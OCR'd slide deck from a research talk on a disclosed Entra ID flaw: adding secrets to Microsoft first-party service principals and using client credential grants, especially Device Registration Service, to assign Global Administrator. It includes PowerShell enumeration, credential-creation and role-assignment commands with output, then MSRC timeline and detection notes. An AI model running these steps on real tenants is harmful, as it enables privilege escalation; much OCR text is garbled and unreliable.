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Unauthorized + OAuth 2.0



UnOAuthorized

1 & h/t to myself, Al nor marketing helped with this name



Microsoft 365 Security ¢ InverseCos

Everything about Microsoft Security

~

How to Backdoor Azure Applications and Abuse Service Principals

If an attacker gains access to an Azure tenant (with sufficient permissions) they can add a “secret” or

a “certificate” to an application. This will allow an attacker single-factor access to Azure allowing the
pent. Further, each application that exists within an Azure

Everything About SerVice PrinCipaIS, Applications, And @ssigned/created. This happens every time an application
API PermiSSions le principal account is basically an identity that's used by

form automated actions.

Posted on July 24, 2021 by m365g Leave a comment pecause:

AUtomating application permiSSion icussed Python tools. This is my personal blog § do not have MFA

frvice principal account

= = _gm i i i i A Active Direct int Is, t | d
grant Whlle aVOIdlng Jpllcatloh_s' Se.I'VICES, and automation (Azure) Active Directory internals, protocols an Follow Ins in Azure (most companies have several)
- . do speC|f|c thlﬂgS, which can be frough conditional access
AppROleASSIgnmel‘lt.ReadWI‘lte.Al| ins. The majority of organizations byia outsidersecurit.nl
als as well. Every time when an Y frefte r‘fsgifter an abpp\.ic::-:tic.m .',‘“Iit‘r"iﬂ an ALzure portla\‘; how
Sahil Malik - Follow . . . et’) and lastly, how to detect this. I tried to make this blog
) _ lly create an application object, and
Published in Winsmarts.com - Sminread - Apr29, 2021

- Taking over default application

+ 1 e OTYTTIOTAD HPPII\!“EIUII n\lmin

£ 8 Q L ® M
a.
In a previous blogpost, L had detailed out the steps for automating n my DEF CON and Troopers | mentioned a vulnerability that existed in Azure AD

permission grants (for both delegated and application permissions) from a

ipplication Admin or a compromised On-Premise Sync Account could escalate privileges
Ig credentials to applications. When revisiting this topic | found out the vulnerability was
t fixed by Microsoft, and that there are still methods to escalate privileges using default

There was a big downside in the approach I had outlined, it required youto ~ @PPlications. In this blog | explain the why ==~ e Tha nantating in ol nanaibis ~inas
grant AppRoleAssignment.ReadWrite.All to the automation account. Tobe  pur is considered to be “by-design” and thi Abusing Family Refresh Tokens for Unauthorized Access

fair, I did put a big warning there as follows. . . . .
BN and Persistence in Azure Active Directory

headless process, i.e. in automation, using a managed identity or service

prinicipal. This is something you'd often use in DevOps.

e Ryan Marcotte Cobb, CTU Special Operations

* Tony Gore, CTU Special Operations
THREAT ANALYSIS

Undocumented functionality in Azure Active Directory allows a group of Microsoft OAuth client applications to obtain

AZURE REDIRECT URI TAKEOVER
VULNERABILITY discuss how this functionality was uncovered, the mechanism behind it, and various attack paths to obtain family

refresh tokens. We will demonstrate how this functionality can be abused to access sensitive data. Lastly, we will share

special “family refresh tokens,” which can be redeemed for bearer tokens as any other client in the family. We will

relevant information to mitigate the theft of family refresh tokens.
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Application Administrator role

Entra ID

SWEE  Application A
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3 Global Administrator
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Application Administrator
Cloud Application Administrator
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4 Services

File  Action

4= = q = H G

View Help

I |

. Services (Local)

-~

Name

“C) ActiveX Installer (AXInstSV)
-.,Q" Agent Activation Runtime_...
'-.‘f;}_‘;AIIJoyn Router Service

-&5‘ App Readiness
'-.‘i)'_‘;AppIication Identity
l.‘:;?;AppIication Information
'-.‘i)'_l;AppIication Layer Gatewa...
l..‘:;?;AppIication Management
'-.‘i»'_l;Apr Deployment Service...
'\,‘.";?;AssignedAccessManager...
-.‘:(" Auto Time Zone Updater
CLAVCTP service

-.‘:} Background Intelligent Tra...
\.Q" Background Tasks Infras...
-.‘:('l Base Filtering Engine

'-.‘:;?; BitLocker Drive Encryption...
-.‘:('l Block Level Backup Engin...
'-f:;?; Bluetooth Audio Gateway...
-.‘:‘; Bluetooth Support Servic...
-&5; Bluetooth User Support...
-.‘:(" BranchCache

-&" BTErgoMouseNotifactio...
-..‘:('l Capability Access Manager...
'-f:;?; CaptureService_1d9330...
£ Cellular Time

'-f:;?; Certificate Propagation

-.‘:‘; Client License Service (Cli...
&’; Clipboard User Service_1d...
-S:} Cloud Backup and Restore...
“£).CNG Key Isolation

-.‘:('l COM+ Event System

£} COM+ System Application

-.‘:('l Computer Browser

Description
Provides U..
Runtime for...
Route AllJo...

Gets apps re...

Determines ...

Facilitates th...
Provides sup...

Processes in...

Provides inf...
AssignedAc...
Automatical...
This is Audi...

Transfers file...

Windows inf...
The Base Fi...

BDESVC ho...

The BENGI...

Service supp...

The Bluetoo...
The Bluetoo...

This service ...

Provides faci...

Enables opti...

This service...

Copies user...

Provides infr...
This user ser...
Monitors the...
The CNG ke...
Supports Sy...
Manages the...

Maintains a...

Status

Running

Running

Running

Running
Running
Running
Running

Running

Running

Running

Running

Running

Running

Running

Running

Running

Running

Startup Type
Manual

Manual

Manual (Trigg...

Manual

Manual (Trigg...
Manual (Trigg...

Manual

Manual

Manual (Trigg...
Manual (Trigg...
Manual (Trigg...
Manual (Trigg...

Automatic (D...
Automatic

Automatic

Manual (Trigg...

Manual

Manual (Trigg...
Manual (Trigg...
Manual (Trigg...

Manual

Automatic

Manual (Trigg...

Manual

Manual (Trigg...
Manual (Trigg...
Manual (Trigg...

Automatic (D...

Manual

Manual (Trigg...

Automatic

Manual

Manual (Trigg...

Log On As
Local System
Local System
Local Service
Local System
Local Service
Local System
Local Service
Local System
Local System
Local System
Local Service
Local Service
Local System
Local System
Local Service
Local System
Local System
Local Service
Local Service
Local System
Local System
Local System
Local System
Local System
Local Service
Local System
Local System
Local System
Local System
Local System
Local Service
Local System

Local System

Extended )\Standard /




@ Services

File Action View Help
& @ d= Hm »enp
Name ) Description Status Startup Type Log On As

@Ofﬁce 365 Exchange Online Running Automatic 00000002-0000-0ff1-ce00-000000000000
@Ofﬁce 365 SharePoint Onli... Running Automatic 00000003-0000-0ff1-ce00-000000000000
ﬁ Microsoft Teams Running Automatic 1fec8e78-bced-4aaf-ab1b-5451cc387264
@Azure Key Vault Running Automatic 589d5083-6f11-4d30-a62a-a4b316a14abf
ﬁMicrosoft Office 365 Portal Running Automatic 00000006-0000-0ff1-ce00-000000000000
@Azure Bastion Running Automatic 79d7fb34-4bef-4417-8184-ff713af7a679

ﬁ Microsoft Intune Running Automatic 9cb77803-d937-493e-9a3b-4b49de3f5a74
@Azure Portal Running Automatic c44b4083-3bb0-49¢1-b47d-974e53chdf3c
@Windows 365 Running Automatic 0af06dc6-e4b5-4f28-818e-e78e62d137a5
@ M365 Admin Service Running Automatic 6b91db1b-f05b-405a-a0b2-e3f60b28d645

»

] ,i;ya
A

pas
) -

\ Extended )\Standard /
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Multi-tenant applications

Customer Tenant Publisher Application

o —
Y g Tenant ID P
Client ID
Global Admin

Service Principal

Publisher Tenant

App Registration

| Some Application |' Admin Consent

Application Permissions
User.ReadWrite.All
Directory.ReadWrite.All
Group.Read.All

| Some Application |

lication Permissions
User.ReadWrite.All
Directory.ReadWrite. All
Group.Read.All

‘ Credential ? ‘
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Multi-tenant applications

Customer Tenant Publisher Application Publisher Tenant

[
— <— Access Token—— o »—————=-—5
Client ID

Service Principal

Some Application
3161e102-4911-49af-8456-9dadde565c01

App Registration

Some Application
86261278-59ef-4d12-8e21-0c1d99a5e6d1

Application Permissions Access Token Application Permissions

User.ReadWrite. Al —} B e e e e s - —@ User.ReadWrite.All

Directory.ReadWrite.All ( Auch) Directory.ReadWrite. All

Group.Read.All Group.Read.All
Customer Tenant

l Credential ?

Stuff 0

Microsoft Graph API
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Microsoft applications

Customer Tenant

Service Principal

Device Registration Service
7e4e13f8-c0d3-4e27-bc71-f7ab67b3b686

Application Permissions

Stuff

Device Registration Service

Access Token
(AuthZ)
Customer Tenant

l

W

Microsoft Graph API

Microsoft Tenant

App Registration

Device Registration Service
01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9

Application Permissions

Credential ?
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Microsoft applications

Customer Tenant

—Q

Service Principal

Device Registration Service
7e4e13f8-c0d3-4e27-bc71-f7ab67b3b686

Application Permissions

Stuff

Device Registration Service

Access Token
(AuthZ)
Customer Tenant

l

Other APIs

Microsoft Tenant

App Registration

Device Registration Service
01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9

Application Permissions

Credential ?
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Act as Microsoft service principals for multi-
tenant applications

“Borrowing their identity”



OAuth 2.0 client credential grant flow
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OAuth 2.0 client credential grant flow

Application Entra ID Microsoft Graph

1. Application requests an
access token from Entra
ID with the client ID and
credential

2. Entra ID returns an

access token 9 _ |

3. Application calls Microsoft -
Graph with the access 9 @]
token @

4. Microsoft Graph validates
the access token

5. Microsoft Graph returns
the requested data
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OAuth 2.0 client credential grant flow

Application Entra ID Microsoft Graph

In a client credential grant
flow, the .default scope is the

only scope permitted by
Microsoft Graph

« .default scope is the
application permissions
defined in the app registration

« .default scope does not

indicate additional
permissions provided by other

authorization systems
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Looking for service principals to act as

$spn = Get-AzureADServicePrincipal -All $true | Where-Object {$ .AppOwnerTenantId -1like

¥

"f8cdef31-a31e-4b4a-93e4-5f571e912553a"

$spn | Foreach-Object {
$cred = $null
New-AzureADServicePrincipalPasswordCredential -ObjectId $CurrentSPN.ObjectId

$cred =
-EndDate $notafter
$output = $ .DisplayName + "," + $ .ObjectId + "," + $ .AppId + "," + $cred.Value

$output | Out-File C:\temp\serviceprincipals.csv -Append
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Looking for service principals to act as
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15
16
566
567
568
569
570
571
572
573
574

A
Name
ChatMigrationServicelP
Microsoft Threat Protection
Compute Artifacts Publishing Service
Recommended
asmcontainerimagescanner
Azure Credential Configuration Endpoint Service
Power Platform Governance Services - TIRPS
Azure Compute
CAS API Security RP Dev
Microsoft Teams Partner Tenant Administration
Azure Storage Insights Resource Provider
IDML Graph Resolver Service and CAD
Diagnostic Services Trusted Storage Access
Microsoft Dynamics CRM Learning Path
OfficeClientService
Graph Connector Service
Export to data lake
Networking-MNC
Cloud Infrastructure Entitlement Management
Azure Guest Container Update Manager
Azure AD Notification
Azure Bastion
Customer Experience Platform CDPA Provisioning TIP
Azure Cost Management XCloud

oID
006daeab-5acd-481f-a9ha-9bb5913f9h72
OO0aee6l4-ac22-4ehe-9al13-d77ealSfdd20
00bc92d9-dff3-4421-ab84-d2158fded358
00fb2610-2358-47¢7-805d-d9bd849aa0df
0136d09b-hf2a-47f3-9f7a-41652¢89d1d4
01c690a3-1de3-443e-93¢5-95h314d77e17
0269af19-8365-4731-9513-4dada2c31565
028984c9-e708-4641-8fc9-5fae91350a12
02ed60b6-20db-4a05-bf2e-086deh7e8f62
03b8d2ac-ead2-4209-9b68-463a712ef09a
04e976b6-0d37-4d25-989c-f32f0f607049
06a0h864-182f-4dfb-b767-b97b906haSfa
072bf89d-e915-49a0-95dc-d4bd0a400add
0752dc69-9422-49h5-ad82-dd2a1029560b
087c54ed-9c68-4d9b-8d4d-44e4hcf64c09
fbbafl3e-e2f3-479b-9b0c-e59e70e9db5b
fc28cd59-096a-4a9f-hce6-2c78f9fdd232
fc42d9fe-e142-4ac5-9h87-8d90c173b021
fc897223-34c-443b-9cd6-b557ce5¢c3dc9
fe3507b5-a34c-4c9h-8d32-a8fc1a6190b4
feadcfba-323d-4ab2-h039-1a41348c8c2a
fedefbbf-3cf4-449f-8hc4-971f8f6bf184
ff5a6c80-78h9-49¢2-9e8f-3fd21f3a13d8
ffdad0a0-a2ac-47e5-h26e-757h835beac?2

AppID
3afS5adde-460d-4hc1-ada0-fc648af8fefb
8ee8fdad-f234-4243-8f3b-15c294843740
a8b6hf88-1d1a-4626-b040-9a729ea93c65
98c8388a-4e86-424f-a176-d1288462816f
918d0dh8-4a38-4938-93c1-9313bdfe0272
€a890292-c8c8-4433-b5ea-h09d0668e1a6
2b5e68f0-bdc2-45b0-920a-217d5cbbd505
579d9c9d-4c83-4efc-8124-7eba65ed3356
cb250467-fc8f-4c42-8349-9ff9e9a17b02
0c708d37-30b2-4f22-8168-5d0cha6f37be
b15f3d14-f6d1-4c0d-93da-d4136c97f006
d88a361a-d488-4271-a13f-a83df7dd99c2
562db366-1b96-45d2-aad4a-f2148cef2240
2db8ch1d-fb6c-450b-ab09-49b6ae35186h
0f698dd4-f011-4d23-a33e-h36416dcb1e6
56c1da01-2129-48f7-9355-af6d59d42766
7f15f9d9-cad0-44f1-bbba-d36650e07765
6d057c82-a784-47ae-8d12-ca7b38cf06b4
b46c3ac5-9da6-418f-a849-0a07a10b3c6e
€8f5141d-83e0-4e9a-84d0-bb6677e26164
fc03f97a-9db0-4627-a216-ec98ce54e018
79d7fb34-4bef-4417-8184-1f713af7a679
15223e1a-4d50-4fda-9049-55d819fbb03e
3184af01-7a88-49e0-8b55-8ecdce0aad50

D

PW

FhMiJnlsdCldUnoGRfUPt7dUPwc 1ltYtZmVwMC(
aYF/h4VhzJhP984buldXH4LGNVs+VC8bfgTnVI
VOVis4ndoAPKIAFBWRYLgXMAgphafM2Q78ul\Vt
mpNiY4kFxL1Zs+0cOqlpZBBgBValLrv41dG1pkt¢
G7k5NvxoMhrSNOIfkY+F6VjNRIgpITp70gUmGH
CicmT1ZDDVM30hSxhjdbINgLNVUiUyx5TMWS
CEGlvrmGS/0mhLDPV8hoOwRzrrejvABAIXET2X
ZGMB8(fLIvjP3zZeKTeTIQH1kDhMIx1pyajCTsEixP
et7xe5wUI05NO0CoZusFqS8h566FalloBHhlIsgF
snOXtYKhk/AtYnEypqThaX4xfk2cr4TwUhb2+My
SQLr/7DQjN4dCd2acrlse5Qkb0LFX3qDbsj00S
ng/IGBRIFpU8DUSmMIAYskVwUNsBUFuvpqYiHk
vriGDmbCpjePQ848gbP2IZhZM/Vs+4jkwyTAck
SWTvLOMqcTOP3pQ4CKaLM5hfwoKuHAFPOU,
wsw10eO0QzxiWgAhEghXsrma+/bwWXWjTvNp.
JQCPM3EIWJWAM+CbmgcwtdM3MF0ovZmHaé
QCV4gQ6SxJIKYXnhjM+z6MN//pbpt4uN9EPOSE
38E1dpj+XlxnlaGyt/+TwomseYpkxJro65+8wsi6t
U21e5uVKrikk7DRxnXMq7AVTINwmYbTIfY//ED
ZXDVULTNXG+zg55i60yAYBKgYMLc/g1lnHrQszk
HINHy3gepnUMsHCUNa7cRwpWg4SGhw/Cw)
rXEqS+xzRigkdP8iixCeAymMvlYzlukDbtLDDZRr
8zwGnq5qVMkiBkFrMBO88uy6GReMahx+FHTZ
2srOpaXs1v4/aZly/C5jlH50rm/WGDHYQEGeP0O
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Looking for service principals to act as

$spn | ForEach-Object {
New-Object -TypeName System.Management.Automation.PSCredential -ArgumentlList

$cred =
$ .Appld, (ConvertTo-SecureString -AsPlainText $ .PW -Force)
11ae06df-xxxx-4b9e-bf66-2a91f4955339

Connect-MgGraph -TenantID

-ClientSecretCredential $cred
| Out-File C:\temp\ccgfauthworks.txt -Append

Get-MgContext
Disconnect-MgGraph -ErrorAction SilentlyContinue
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Service principals that support OAuth 2.0 CCGF

 Office 365 Exchange Online

 Office 365 SharePoint Online

» Dataverse

 Viva Engage (Yammer)

* Microsoft Rights Management Services
* Azure Multi-Factor Auth Client

« Skype for Business Online
 AADPasswordProtectionProxy

* Device Registration Service



Looking for the “write” scopes (permissions)

 Office 365 Exchange Online — Group.ReadWrite.All, Domain.ReadWrite . All
» Office 365 SharePoint Online — Application.ReadWrite.OwnedBy

» Dataverse — OnlineMeetings.Read\Write.All
 Viva Engage (Yammer) — Group.Create, Files.ReadWrite.All

* Microsoft Rights Management Services — No write scopes
* Azure Multi-Factor Auth Client — No scopes

» Skype for Business Online — No scopes

* AADPasswordProtectionProxy — No scopes

» Device Registration Service — No scopes



s try privileged

Let’
things anyway
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The tests

 Disable a user / privileged user

* Change a user / privileged users password
* Manage role assignments

* Create a user

» Delete a user / privileged user

* Permanently delete a user / privileged user
» Create a group eligible for role assignment
* Create and Administrative Unit

* Manage role assigned group membership
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ga—eric@northwindtradersglobal.onmicrosoft.com AzureCloud a8c79a2a-f998-U4913-96d2-fu569Ub77bel northwindtradersglob...

PS C:\temp> $notafter = (Get-Date).AddMonths(6)
PS C:\temp> |[$TargetSPN = Get-AzureADServicePrincipal -SearchString "Device Registration Service"
PS C:\temp> $TargetSPN

ObjectId AppId DisplayName

c344e5a6-111d-4a00-a8e3-d1lbeb87c0750 01cb2876-7ebd-Uaal-9cc9-d28bdUd359a9 Device Registration Service

PS C:\temp> [$SPNCreds = New-AzureADServicePrincipalPasswordCredential -ObjectId $TargetSPN.ObjectId -EndDate $notafter
PS C:\temp> $5PNCreds.Value

FcGhiy7mY

PS C:\temp> $SPNPW = ConvertTo-SecureString -AsPlainText $SPNCreds.Value -Force

PS C:\temp> |$GraphCreds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentlList $TargetSPN.Appld,
| $SPNPW

PS C:\temp> Disconnect-AzureAD

| = PS C:\temp> |Connect-MgGraph -TenantId a8c79a2a-f998-4913-96d2-fuU5694b77bel -ClientSecretCredential $GraphCreds

| Welcome to Microsoft Graph!

- | Connected via apponly access using 01lcb2876-7ebd-Udaald-9cc9-d28bduUd359a9

| Readme: https://aka.ms/graph/sdk/powershell
SDK Docs: https://aka.ms/graph/sdk/powershell/docs
API Docs: https://aka.ms/graph/docs

| NOTE: You can use the -NoWelcome parameter to suppress this message.

PS C:\temp>




B Windows PowerShell X e | a2 = O X

Connected via apponly access using 01cb2876-7ebd-U4aal-9cc9-d28bduUd359a9
Readme: https://aka.ms/graph/sdk/powershell

SDK Docs: https://aka.ms/graph/sdk/powershell/docs

API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.

PS C:\temp> Get-MgContext

ClientId : 01cb2876-7ebd-U4aald-9cc9-d28bdudd359a9
TenantId : a8c79a2a-f998-U4913-96d2-fuU569U4b77bel
Scopes : @
AuthType : AppOnly
TokenCredentialType : ClientSecret
CertificateThumbprint
CertificateSubjectName : -
= Account : L ——
= AppName : |Device Registration Service
1 ContextScope : Process
| Certificate .
- | PSHostVersion : 5.1.22621.2506
ManagedIdentityId
ClientSecret : System.Security.SecureString
Environment : Global

LPS C:\temp>
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PS C:\temp> Get-MgDirectoryRole | Select-Object -Property DisplayName, ID

DisplayName Id
Security Administrator 128284a5-9a9e-U49c3-aud60-+d25554+F8cUb
i Global Reader 2863c272-b286-U4077-b65f-6blabe72adcl
! Azure AD Joined Device Local Administrator d4a2diddc3-663U4-uUUf2-aS5ab-T70ddedcfdc86
| User Administrator 77414dfU-e2ff-42df-8a7d-58df0Ue65885
Directorv Readers 96cUdld0e-0Uc8-476d-9Udf-603263509dcl
Global Administrator ae8lcld9-3bu5-445b-896a-6U4aa7085db93
Directory Synchronization Accounts b077747c-3953-U408b-91f2-d6b58fddabbc
Attribute Definition Administrator b8508655-1331-4183-95ba-90a39d67e5ae
Application Administrator d383ec2f-f9ca-Ue36-8230-225832c0c361
Conditional Access Administrator dbdf8bU0O-4757-4900-8676-7f2a81c9a294

PS C:\temp>|Get-MgDirectoryRoleMember -DirectoryRoleld ae8lcid9-3buU5-4u5b-896a-6U4aa7085db93| | ForEach-Object { Get-MGUse

r -UserId $_.Id} -_
"
~| DisplayName 1d Mail UserPrincipalNam
e
" ”*45 Eric Woodruff d7148226-7444-488U-aef7-b5fe693a6798 ga-eric@northwindtradersglobal.onmicrosoft.com ga-eric@north...
Eric Woodruff (GA) 737e74uU8-93c6-U677-b697-2UU4935b1ad80 ga-ericw@nort. ..

PS C:\temp>
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Directory Synchronization Accounts b077747c-3953-408b-91f2-d6b58fddalbc
Attribute Definition Administrator b8508655-1331-4183-95ba-90a39d67e5ae
Application Administrator d383ec2f-f9ca-U4e36-8230-225832c0c361
Conditional Access Administrator dbdf8bUO-U4757-U4900-8676-7f2a81c9a294

PS C:\temp> Get-MgDirectoryRoleMember -DirectoryRoleld ae8lcudd9-3bu5-445b-896a-64aa7085db93 | ForEach-Object { Get-MGUse
r -UserId $_.Id}

DisplayName Id Mail UserPrincipalNam
e

Eric Woodruff d7148226-7444-488U-aef7-b5fe693a6798 ga-eric@northwindtradersglobal.onmicrosoft.com ga-eric@north...

Eric Woodruff (GA) 737e74uU8-93c6-U4677-b697-244935b1ad80 ga-ericw@nort. ..

PS C:\temp> Get-MGUser -UserId megan.bowen@northwindtraders.cloud

DisplayName Id Mail UserPrincipalName

e e e e e e e s —_—— —— e — e e e

Megan Bowen |936d55ce-a9b6-4a3b-bala-76340951d486 megan.bowen@northwindtraders.cloud megan.bowen@northwindtraders.cloud

PS C:\temp> $params = @f

>>|"@odata.type" = "#microsoft.graph.unifiedRoleAssignment"
>>|roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"
>>| principalld = "518e7196-367f-U436b-83c7-76Uccalab88c"

>> directoryScopeld = "/"

>> }

PS C:\temp>




B Windows PowerShell X + | as = (| X

>> 1}
PS C:\temp> New-MgRoleManagementDirectoryRoleAssignment -BodyParameter $params G
Id Principalld RoleDefinitionlId

LAPpYvVpNOKRKAEhdxReEM5VbZ02qTtKuhp2NALR1IY-1 936d55ce-a9b6-U4a3b-bala-76340951dU86 62e90394-69f5-U4237-9190-012177145e10

PS C:\temp> Get-MgContext

ClientId : @1cb2876-7ebd-U4aald-9cc9-d28bdud359a9
TenantId : a8c79a2a-f998-U4913-96d2-fu4569Ub77bel
Scopes :
AuthType : AppOnly
TokenCredentialType : ClientSecret
CertificateThumbprint :
CertificateSubjectName : ———
Account : e
& AppName : Device Registration Service
| ContextScope : Process
| Certificate :
| PSHostVersion : 5.1.22621.2506
ManagedIdentityId :
ClientSecret : System.Security.SecureString
Environment : Global

PS C:\temp>




B Windows PowerShell

ClientId

TenantId

Scopes

AuthType
TokenCredentialType
CertificateThumbprint

CertificateSubjectName :

Account

AppName
ContextScope
Certificate
PSHostVersion
ManagedIdentityId
ClientSecret
Environment

: 01cb2876-7ebd-U4aald-9cc9-d28bdudd359a9
: a8c79a2a-f998-4913-96d2-fU45694b77bel o et

: AppOnly
: ClientSecret

: Device Registration Service
: Process

: 9.1.22621.2506

: System.Security.SecureString
: Global

PS C:\temp> Get-MgDirectoryRoleMember -DirectoryRoleld ae8lcidd9-3bu5-4u45b-896a-6U4aa7085db93| | ForEach-Object { Get-MGUse L

B r -UserId $_.Id}

+ | DisplayName Id Mail UserPrincipalNam
¢ 7ox 7 e
Eric Woodruff d7148226-7444-488U-aef7-b5fe693a6798 ga-eric@northwindtradersglobal.onmicrosoft.com ga—-eric@north...
Megan Bowen 936d55ce-a9b6-U4a3b-bala-76340951dU486 megan.bowen@northwindtraders.cloud megan.bowen@n. ..
Eric Woodruff (GA) 737e7U4u48-93c6-U677-b697-2u44935b1ad80 ga-ericw@nort. ..

PS C:\temp>




"id": "Directory aaZffcab-c207-4627-89b8-55df5295¢c687 Q2J8I 174301280",
"category": "RoleManagement",
"correlationId": "aalffcab-c207-4627-8%08-55df5295ced87",
"result":| "success",
"resultReason": "",
"activityDisplayName": |"Add member to role",
"activityDateTime": "2024-01-05T21:16:16.26169372",
"loggedByService": "Core Directory",
"operationType": "Assign",
"userAgent": null,
"initiatedBy": {

"user": null,

LL mn

Tappt: |

5 "appId": null,

"displayName": |"Device Registration Service"]
"servicePrincipalId": "cb328f56-abtl-48d5-b1b9%-129d7093b869",
"servicePrincipalName": null

}
b
"targetResources": [
{
"id": "alcTO0abd-a66b-42b5-bfea-5d8c44904912",
"displayName": null,
"type": "User",
"userPrincipalName": "ReneMagi7@M365x61605097.0nMicrosoft.com",
"groupType": null,
"modifiedProperties": [
{
| "displayName": "Role.ObjectID",
"oldValue": null,
"newValue": "\"4fdbfd17-b070-4a07-9337-1052f356e826\""

"displayName": "Role.DisplayName",
"oldValue": null,
"newValue": ["\"Global Administrator\""|

1,
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LAPpYvVpNOKRKAEhdxReEEhOfnPGk3dGtpckSTWxrYA-1
LAPpYVvVpNOKRKAEhdxReEM5VbZ02qTtKuhp2NATRLIIY-1
| LAPpYvVpNOKRKAEhdxReECaCFNdEdIRIrvel_mk6Z5g-1
LAPpYvVpNOKRKAEhdxReEN21PuDWLchFroZPpvA44l1A-1
4-PYiFWPHkqVOpuYmLiHad_jmSP4HOdAKHNE1Ete6LI-1
4-PYiFWPHkqVOpuYmLiHa2n-d5cDm21Cidz6RgOKnUk-1
BSubOkaAukSHWB4mGC_PMszL8xvOpXREoMyjpaC6uMU-1
BSub®OkaAukSHWB4mGC_PML9f71xUaptNuRB5Su7pzZQy-1
LInv8vs6ula3z6Em7nTEUfTaHhBFa3pMhDM_tpKeOnM-1
LInv8vs6ula3z6Em7nTEUckh2rvrn51lGndXWsugf6_I-1
SwuT_mJe20eRr5jDpJoldsfTaHhBFa3pMhDM_tpKeOnM-1
Phy-sV22GU-EJ_b6DZf-ufTaHhBFa3pMhDM_tpKeOnM-1
0gJelhQCdEaOXXZvszDiwH9_a7vXTtZFpzUszwvtrdQ-1
NIwd6_WsDUaEJMHxpvvbhX9_a7vXTtZFpzUszwvtrdQ-1
k12Im9Msx0SdAqasLV61lw8ibNpOFDYNPkJYhE-uX29U-1
8MYKhImhnkm70CbBdTyW1lCaCFNdEdIRIrvel_mk6Z5g-1

|l PS C:\temp> Remove-MgRoleManagementDirectoryRoleAssignment -UnifiedRoleAssignmentId LAPpYvVpNOKRKAEhdxReEEhOfnPGk3dGtpck

= STWxrYA-1

E PS C:\temp> Get-MgDirectoryRoleMember -DirectorvRoleld ae8lcidd9-3bu5-4uy5b-896a-6U4aa7085db93| | ForEach-Object { Get-MGUse
4 r -UserId $_.Id}

- DisplayName Id

Megan Bowen

PS C:\temp>

Eric Woodruff d7148226-7u44uU-U88U-aef7-b5fe693a6798
936d55ce-a9b6-U4a3b-bala-76340951du86

737e7u48-93c6-U677-b697-244935b1ad80
936d55ce-a9b6-4a3b-bala-76340951duU86
d7148226-7u44-488U-aef7-b5fe693a6798
e03eb5dd-2dd6-45c8-ae86-Ufabf038e350
2399e38f-1cf8-U40eT7-9079-cuUdUudb5ee8b2
9777fe69-9b03-U4269-8b8c—-fal6038a9du9
1bf3cbcc-aSce-U474-abcc-a3aba®bab8ch
S5cee5f5f-6a5U4-4d9b-b910-79bbba73650e
101ledafu-6bU5-Uc7a-8U433-3fb6929e3a73
bbda21c9-9feb-4699-9dd5-d6b2e81febf2
10ledafu-6bUu5-Uc7a-8U33-3fb6929e3a73
101ledafui-6bU5-UcTa-8U33-3fb6929e3a73
bb6b7f7f-tded7-U45d6-a735-2ccfObedadddu
bb6b7f7f-Ued7-U45d6-a735-2ccfObedaddd
9d369bc8-0d05-4f83-9096-2113eb97dbd5
d7148226-7444-488L-aef7-b5fe693a6798

Mail

62e90394-695-U4237-9190-0121771U45e10
62e90394-69F5-4237-9190-012177145e10
62e90394-695-4237-9190-012177145e10
62e90394-69f5-4237-9190-012177145e10
88d8e3e3-8f55-Uale-953a-9b9898b8876b
88d8e3e3-8f55-U4ale-953a-9b9898b8876b
d29b2b05-8046-Uuba-8758-1e26182fcf32
d29b2b05-8046-U4Uba-8758-1e26182fcf32
f2ef992c-3afb-U46b9-b7cf-al26ee7UdclU51l
f2ef992c-3afb-U46b9-b7cf-al26ee7ldcl51l
fe930be7-5e62-47db-91af-98c3al9a38bl
blbelc3e-b65d-Uf19-8U27-f6fa0d97feb9
d65e02d2-0214-4674-8e5d-766fb330e2chd
ebld8c3U4-acf5-U460d-8U42U-clfla6fbdb85
9b895d92-2cd3-UlUcT7-9d02-abac2d5eabc3
842U4c6+0-al89-499e-bbd0-26c1753c96du

UserPrincipalName

ga-eric@northwindtradersglobal.onmicrosoft.com ga-eric@northwindt...
megan.bowen@northwindtraders.cloud

megan.bowen@northw. ..
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The findings
* Device Registration Service
Modify privileged role assignment

 Viva Engage (Yammer)
Delete and permanently delete privileged users

* Microsoft Rights Management Services

=,

li'in
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Microsoft response
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NEW

The findings

* Device Registration Service
MSRC — Important severity, elevation of privilege, resolved

 Viva Engage (Yammer)
MSRC — Medium severity, resolved

* Microsoft Rights Management Services
MSRC — Low severity, resolved
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Jan 18t 2024
MSRC acknowledges

Mar 17t 2024

Services resolved

Timeline of the findings

Rights Management

Apr 19t 2024

case
Feb 6th 2024
Rebuttal provided Viva Engage
to MSRC resolved
Working with MSRC on disclosure
" Jun 5t 2024
Apr 9™ 2024 Draft of disclosure
provided to MSRC

Jan 29th 2024
MSRC marks case
as low severity

Jan 11t 2024

Mar 4th 2024

Rebuttal provided to
MSRC

Initial desire to
disclose provided to

Device Registration

Case opened with
MSRC

Service resolved

MSRC

Aug 7t 2024
Public disclosure
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Why did this work?

Microsoft Graph

Microsoft
Application

Multiple Authorization Systems

OAuth
Scopes

Roles

Internal AuthZ
System
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Service principals that support OAuth 2.0 CCGF

 Office 365 Exchange Online

 Office 365 SharePoint Online

» Dataverse

 Viva Engage (Yammer)

* Microsoft Rights Management Services
* Azure Multi-Factor Auth Client

« Skype for Business Online
 AADPasswordProtectionProxy

* Device Registration Service



BROTECTION

Service principals that supported OAuth 2.0 CCGF

 Office 365 Exchange Online

 Office 365 SharePoint Online

» Dataverse

 Viva Engage (Yammer)

* Microsoft Rights Management Services
* Azure Multi-Factor Auth Client

« Skype for Business Online
 AADPasswordProtectionProxy

* Device Registration Service



2. PowerShell x + v 0 X

PS C:\Temp> Connect-MGGraph -TenantID 1lae06df-10e8-Ub9e-bf66-2a91fU4955339 -ClientSecretCredential $CurrentCred
Connect-MgGraph: ClientSecretCredential authentication failed: A configuration issue is preventing authentication - chec
k the error message from the server for details. You can modify the configuration in the application registration portal
See https://aka.ms/msal-net-invalid-client for details. Original exception: AADSTS7000215: Invalid client secret prov
ided. Ensure the secret being sent in the request is the client secret value, not the client secret ID, for a secret add
ed to app '01cb2876-T7ebd-daall-9cc9-d28bdlid359a9'. Trace ID: f8ebl683-620a-U513-ad37-72fe7a704ab0® Correlation ID: cb8d93e
6-81f0-U627-ba20-f1c83f8ac99e Timestamp: 2024-06-05 12:38:227Z
PS C:\Temp>
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Abusing the discovery
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Abusing the discovery

o aps

Entra ID Microsoft 365

_Federated SaaS




Findings permitted highly
privileged operations

Strong probability this has existed
for a long time

We can look for markers in
Entra tenants
